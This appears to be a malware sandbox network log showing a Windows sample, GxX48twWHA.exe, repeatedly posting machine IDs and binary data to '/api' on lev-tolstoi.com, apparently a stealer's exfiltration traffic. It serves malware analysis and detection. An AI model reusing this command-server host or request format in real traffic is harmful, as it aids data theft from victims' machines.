2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 47 73 6f 32 63 4f 43 50 68 32 74 79 68 48 2b 4e 36 31 4c 56 69 70 6c 37 65 39 69 61 35 6d 2f 50 50 6c 63 38 34 74 73 74 6c 74 39 43 37 6d 49 4d 6e 44 4f 48 61 6c 4c 5a 59 2b 7a 37 57 74 43 54 79 46 4e 62 6a 4c 4c 71 42 75 6f 62 62 78 79 50 6b 6b 69 69 64 30 71 65 46 6b 53 30 68 36 74 72 53 71 42 50 6f 63 74 61 39 62 36 56 59 6e 37 39 6f 73 49 76 7a 32 5a 58 6d 4b 2b 57 45 4a 70 6a 4c 74 70 48 56 4e 57 50 31 6c 64 4f 6c 56 72 6f 2b 30 72 4e 76 72 6c 54 54 38 53 79 36 6b 36 47 4f 30 73 38 70 2f 59 45 76 6b 63 65 72 67 70 34 6c 4b 2f 37 5a 32 72 73 54 38 47 79 52 39 69 53 74 54 4a 2b 70 61 49 47 55 6f 35 48 57 69 68 48 67 6b 44 4f 64 7a 61 7a 4b 69 6d 51 30 72 4e 4c 59 36 55 36 69 65 4e 36 78 5a 36 56 56 31 76 30 6c 73 70 71 32 67 4e 50 4d 4b 76 79 54 49 35 Data Ascii: Gso2cOCPh2tyhH+N61LVipl7e9ia5m/PPlc84tstlt9C7mIMnDOHalLZY+z7WtCTyFNbjLLqBuobbxyPkkiid0qeFkS0h6trSqBPocta9b6VYn79osIvz2ZXmK+WEJpjLtpHVNWP1ldOlVro+0rNvrlTT8Sy6k6GO0s8p/YEvkcergp4lK/7Z2rsT8GyR9iStTJ+paIGUo5HWihHgkDOdzazKimQ0rNLY6U6ieN6xZ6VV1v0lspq2gNPMKvyTI5
2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 6a 47 6f 71 34 4a 57 4d 36 52 58 6c 66 64 43 79 62 61 5a 62 32 50 55 36 76 5a 53 68 67 4e 54 44 4c 66 71 54 4b 4a 76 4b 6f 59 4f 59 4a 69 44 72 30 74 75 73 56 71 77 2b 31 71 41 6b 38 68 54 2b 2f 43 4f 37 79 4f 6e 42 79 6f 59 35 74 70 51 70 31 70 6a 67 69 70 38 76 4a 2b 48 57 32 36 6f 45 34 33 6a 44 75 47 6d 67 52 74 58 36 4c 62 71 65 76 6f 4c 54 7a 69 76 36 67 53 79 57 77 36 76 4b 32 32 6f 71 39 4a 57 4d 36 54 58 31 61 4e 75 2f 61 4c 78 66 33 76 49 2b 75 6f 50 7a 7a 35 58 5a 4a 2b 66 54 66 59 44 51 74 34 32 4b 5a 44 53 73 30 74 6a 70 54 71 4a 34 32 4c 35 6a 72 46 72 4e 39 43 36 34 6e 4c 71 49 30 63 41 6a 39 70 63 68 6b 63 57 6a 68 70 34 74 4c 75 50 52 33 61 63 66 37 54 36 66 2b 47 4f 79 46 49 65 78 43 61 79 51 76 34 79 56 31 32 37 76 30 79 4b 61 67 50 6a Data Ascii: jGoq4JWM6RXlfdCybaZb2PU6vZShgNTDLfqTKJvKoYOYJiDr0tusVqw+1qAk8hT+/CO7yOnByoY5tpQp1pjgip8vJ+HW26oE43jDuGmgRtX6LbqevoLTziv6gSyWw6vK22oq9JWM6TX1aNu/aLxf3vI+uoPzz5XZJ+fTfYDQt42KZDSs0tjpTqJ42L5jrFrN9C64nLqI0cAj9pchkcWjhp4tLuPR3acf7T6f+GOyFIexCayQv4yV127v0yKagPj
2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 63 7a 65 77 71 77 52 39 44 7a 6b 75 32 71 6b 55 38 6d 78 4e 34 6a 64 38 34 37 50 69 48 6a 50 69 6d 57 52 7a 4f 44 53 31 54 38 71 37 4e 4c 4f 76 78 48 75 62 39 71 31 61 49 68 62 32 4f 63 72 75 4a 43 69 69 4a 6e 44 4c 62 62 64 5a 5a 48 59 34 4e 4c 56 42 53 72 36 31 76 75 71 42 2b 73 2b 6e 2f 68 6a 76 42 53 48 73 52 62 33 67 62 43 52 31 73 63 78 79 4e 4e 39 6a 2f 37 67 67 59 4d 74 50 65 2f 44 33 36 51 61 38 30 43 52 34 44 44 34 42 6f 32 6a 65 71 6a 54 72 4c 36 62 69 43 47 32 79 78 79 50 67 4c 62 4b 7a 58 68 6a 72 4d 65 55 38 56 61 6c 66 63 4f 71 59 71 6c 43 33 4c 59 57 69 62 53 6c 69 39 4c 59 4a 2b 47 63 5a 64 69 41 72 38 72 4e 45 32 33 6c 30 73 2b 34 41 4f 39 75 31 76 68 62 35 42 54 48 73 58 44 33 70 72 43 50 32 38 38 32 35 39 34 43 67 4d 71 6e 6d 70 49 39 Data Ascii: czewqwR9Dzku2qkU8mxN4jd847PiHjPimWRzODS1T8q7NLOvxHub9q1aIhb2OcruJCiiJnDLbbdZZHY4NLVBSr61vuqB+s+n/hjvBSHsRb3gbCR1scxyNN9j/7ggYMtPe/D36Qa80CR4DD4Bo2jeqjTrL6biCG2yxyPgLbKzXhjrMeU8ValfcOqYqlC3LYWibSli9LYJ+GcZdiAr8rNE23l0s+4AO9u1vhb5BTHsXD3prCP2882594CgMqnmpI9
2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 69 6e 48 65 4a 35 77 61 35 2f 35 6c 7a 63 36 7a 4b 4a 72 5a 69 4e 30 38 38 36 38 5a 55 44 74 6f 44 75 79 70 70 71 64 64 57 56 6e 4f 6b 70 72 44 37 4a 2b 44 7a 71 59 64 7a 2f 4a 72 43 46 6f 73 7a 39 36 78 72 4d 30 51 6d 52 31 65 4b 2b 6b 6a 6f 38 35 39 6a 59 36 56 69 69 65 4a 48 67 4e 4f 51 55 32 2b 42 6f 37 38 50 68 32 6f 43 62 64 36 62 42 4f 74 6a 5a 34 4a 7a 56 63 6e 2b 69 6c 63 62 70 54 71 49 35 30 71 70 32 72 46 66 4a 38 6d 2b 4a 72 5a 53 50 30 73 6b 32 35 6f 51 71 71 50 36 31 69 5a 73 6b 4b 76 72 45 6c 4f 64 57 37 54 36 4a 67 53 54 69 46 4f 43 2f 61 4b 2f 54 36 38 48 67 79 79 37 34 6c 44 4f 48 6a 59 65 45 6b 69 73 37 2f 4d 4c 62 36 56 69 69 65 4a 48 67 4e 75 51 55 32 2b 42 6f 37 38 50 68 32 6f 43 62 64 36 62 42 4f 74 6a 5a 34 4a 7a 56 63 6e 2b 69 6c Data Ascii: inHeJ5wa5/5lzc6zKJrZiN08868ZUDtoDuyppqddWVnOkprD7J+DzqYdz/JrCFosz96xrM0QmR1eK+kjo859jY6ViieJHgNOQU2+Bo78Ph2oCbd6bBOtjZ4JzVcn+ilcbpTqI50qp2rFfJ8m+JrZSP0sk25oQqqP61iZskKvrElOdW7T6JgSTiFOC/aK/T68Hgyy74lDOHjYeEkis7/MLb6ViieJHgNuQU2+Bo78Ph2oCbd6bBOtjZ4JzVcn+il
2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 43 65 63 65 37 4a 4f 51 55 30 37 46 77 39 35 4b 35 6b 64 6a 48 4a 37 71 55 50 35 47 41 37 73 71 62 61 6e 57 73 31 4e 36 35 47 2b 31 35 6e 62 35 71 70 42 54 41 76 7a 48 33 68 66 50 5a 68 6f 5a 67 35 4e 4e 39 31 6f 65 6a 6d 49 63 73 4c 76 72 57 6b 35 63 6f 7a 32 7a 57 71 47 66 6f 5a 64 4c 31 50 71 4b 51 6f 34 62 72 39 67 33 6b 6c 44 57 56 67 70 47 63 6c 69 6f 6a 36 35 57 61 36 51 36 69 4a 70 47 56 64 71 31 45 33 4c 46 6d 39 35 2f 7a 32 5a 58 46 4d 76 47 44 4a 74 72 48 75 6f 33 56 4e 57 50 31 6c 63 4c 70 54 72 45 77 6b 61 6f 6b 38 68 53 59 2f 79 57 32 6b 4c 32 43 78 39 6f 6d 39 59 55 6d 30 66 36 65 70 34 63 74 50 65 2b 58 35 61 51 53 39 47 76 53 71 47 4f 55 61 76 4c 6a 4c 36 65 51 38 61 33 53 78 53 7a 49 72 52 4b 48 78 37 44 49 73 79 6b 37 37 35 57 61 36 51 Data Ascii: Cece7JOQU07Fw95K5kdjHJ7qUP5GA7sqbanWs1N65G+15nb5qpBTAvzH3hfPZhoZg5NN91oejmIcsLvrWk5coz2zWqGfoZdL1PqKQo4br9g3klDWVgpGclioj65Wa6Q6iJpGVdq1E3LFm95/z2ZXFMvGDJtrHuo3VNWP1lcLpTrEwkaok8hSY/yW2kL2Cx9om9YUm0f6ep4ctPe+X5aQS9GvSqGOUavLjL6eQ8a3SxSzIrRKHx7DIsyk775Wa6Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:24 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GYRNF8HHL3C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: lev-tolstoi.com
2024-12-26 12:22:24 UTC	15331	OUT	Data Raw: 2d 2d 47 59 52 4e 46 38 48 48 4c 33 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 38 44 42 42 46 46 37 35 36 45 31 37 38 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 59 52 4e 46 38 48 48 4c 33 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 59 52 4e 46 38 48 48 4c 33 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 47 59 52 4e 46 38 48 48 4c 33 43 Data Ascii: --GYRNF8HHL3CContent-Disposition: form-data; name="hwid"398DBBFF756E1786BEBA0C6A975F1733--GYRNF8HHL3CContent-Disposition: form-data; name="pid"2--GYRNF8HHL3CContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--GYRNF8HHL3C
2024-12-26 12:22:24 UTC	2796	OUT	Data Raw: bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-26 12:22:25 UTC	1132	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aarmhs95vb4j4qoh67vki0lpo9; expires=Mon, 21 Apr 2025 06:09:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TwqCsAN59klKY5HeZUS0OH5fo8zxBH6lIr7REfvyHT%2FHgVzsU9XnmUCPOxBjKCRyUh4k%2B2J2UwYS7Go7IYSKHf2CdhhKK0uMcRVBj583VTcbRkm70tysaWtpf%2BOG%2B%2BKzp5o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810941cf198cdc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1879&min_rtt=1853&rtt_var=713&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2836&recv_bytes=19081&delivery_rate=1575822&cwnd=250&unsent_bytes=0&cid=6545d5d22e8ab535&ts=1089&x=0"
2024-12-26 12:22:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:22:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:27 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5FDVRSNKXH0HHHRTDF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8790 Host: lev-tolstoi.com
2024-12-26 12:22:27 UTC	8790	OUT	Data Raw: 2d 2d 35 46 44 56 52 53 4e 4b 58 48 30 48 48 48 52 54 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 38 44 42 42 46 46 37 35 36 45 31 37 38 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 35 46 44 56 52 53 4e 4b 58 48 30 48 48 48 52 54 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 46 44 56 52 53 4e 4b 58 48 30 48 48 48 52 54 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --5FDVRSNKXH0HHHRTDFContent-Disposition: form-data; name="hwid"398DBBFF756E1786BEBA0C6A975F1733--5FDVRSNKXH0HHHRTDFContent-Disposition: form-data; name="pid"2--5FDVRSNKXH0HHHRTDFContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-26 12:22:27 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eaabp265eqfauo9pmnokfsuhmq; expires=Mon, 21 Apr 2025 06:09:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zTXF6wL09PJmDcDY3vnEoC8ZWuqa61GnxRGjqNq2D5aCaSdvLc%2BQpL395xeE6T6L9xSj8Z9xyhCr07usglSDDdNjSq%2FeK5dFK9KBJJ5JBo4HfCJPBdRYN%2FLT7bbW1kMX%2BPM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810953f82941fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&min_rtt=1724&rtt_var=682&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2834&recv_bytes=9728&delivery_rate=1562332&cwnd=231&unsent_bytes=0&cid=36c79fba6b064020&ts=960&x=0"
2024-12-26 12:22:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:22:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:29 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OB5E3C48TJSYCQWGC5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20443 Host: lev-tolstoi.com
2024-12-26 12:22:29 UTC	15331	OUT	Data Raw: 2d 2d 4f 42 35 45 33 43 34 38 54 4a 53 59 43 51 57 47 43 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 38 44 42 42 46 46 37 35 36 45 31 37 38 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4f 42 35 45 33 43 34 38 54 4a 53 59 43 51 57 47 43 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 42 35 45 33 43 34 38 54 4a 53 59 43 51 57 47 43 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --OB5E3C48TJSYCQWGC5Content-Disposition: form-data; name="hwid"398DBBFF756E1786BEBA0C6A975F1733--OB5E3C48TJSYCQWGC5Content-Disposition: form-data; name="pid"3--OB5E3C48TJSYCQWGC5Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-26 12:22:29 UTC	5112	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 Data Ascii: `M?lrQMn 64F6(X&7~
2024-12-26 12:22:30 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=45kjqh44l6hn5fnb5tt0kpcj8e; expires=Mon, 21 Apr 2025 06:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BzIkUWQ4PO4IifOCkE0KbnfjGDTaDvby6fu1Vf6awtTT6adBETqDWiRPV1D%2BSpKrdSlv1HTj0lwdC5%2Fh36uTRGimEH82GJOQcZPrnmuEcqNw%2FRNMgk%2FOdVdK3kVPdEOuFzA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109638ee8333c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&min_rtt=1794&rtt_var=690&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21404&delivery_rate=1566523&cwnd=229&unsent_bytes=0&cid=edba449c9a3f538b&ts=880&x=0"
2024-12-26 12:22:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:22:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:31 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=09EGJFVQF53JBKV6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1252 Host: lev-tolstoi.com
2024-12-26 12:22:31 UTC	1252	OUT	Data Raw: 2d 2d 30 39 45 47 4a 46 56 51 46 35 33 4a 42 4b 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 38 44 42 42 46 46 37 35 36 45 31 37 38 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 39 45 47 4a 46 56 51 46 35 33 4a 42 4b 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 39 45 47 4a 46 56 51 46 35 33 4a 42 4b 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --09EGJFVQF53JBKV6Content-Disposition: form-data; name="hwid"398DBBFF756E1786BEBA0C6A975F1733--09EGJFVQF53JBKV6Content-Disposition: form-data; name="pid"1--09EGJFVQF53JBKV6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-26 12:22:32 UTC	1126	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=51ud5rc9afekvnm8u8odf9c7sh; expires=Mon, 21 Apr 2025 06:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3%2Fp0EYtP7ufWjKjPEczeyin%2BR3SViPGHybfGBb9IINLsUoml2Nz4mFxureGZpyiPpmO32hHjAah%2F2bjlrr6WFDkit8a7ylns%2FmvOme4PA2PMoApokqR7RfT2tEtJc4MAIkE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109731a757c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1789&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2166&delivery_rate=1625835&cwnd=228&unsent_bytes=0&cid=858677b761a19035&ts=805&x=0"
2024-12-26 12:22:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:22:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:34 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HQJU7GJX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 555059 Host: lev-tolstoi.com
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: 2d 2d 48 51 4a 55 37 47 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 38 44 42 42 46 46 37 35 36 45 31 37 38 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 48 51 4a 55 37 47 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 51 4a 55 37 47 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 51 4a 55 37 47 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --HQJU7GJXContent-Disposition: form-data; name="hwid"398DBBFF756E1786BEBA0C6A975F1733--HQJU7GJXContent-Disposition: form-data; name="pid"1--HQJU7GJXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HQJU7GJXContent-Di
2024-12-26 12:22:34 UTC	15331	OUT	Data Raw: 58 dd 69 9e ee 98 29 f2 d4 8b 16 37 63 07 b2 35 f9 ab 76 17 23 2e 1c 40 b1 d3 5a 78 a3 e5 05 f1 dc b0 3c 74 58 ec a6 e8 7c 75 bf 7b 6d d8 17 43 3c 46 f6 23 22 d3 8c 8f 87 06 28 a5 b7 60 72 26 c8 88 63 70 08 06 61 fc 71 ae 55 54 6c 5e 31 fa 20 b8 1c d2 5d be b1 dc c3 e8 c7 79 7e e4 13 f8 87 84 76 22 69 ce 64 96 27 d3 1f b5 07 5c 28 17 29 dd f8 18 a5 a2 4d a2 08 6c 4b 6e ed 97 6d 1e d4 42 5a ae be 28 c4 c5 f3 f7 cc 17 ec 06 48 f0 39 d8 78 eb af 46 c6 ce ed df fa 47 85 69 fa 60 8a b8 1b 73 56 86 fc c7 51 81 01 57 71 50 8b 95 1d e7 7b ea f4 d5 19 c6 6d df 90 26 5f 86 c8 ec 93 fd 57 32 64 ba f6 23 6a 52 72 5a 98 b6 80 6a 9e 58 17 ef 2c e8 8f 64 89 92 bf 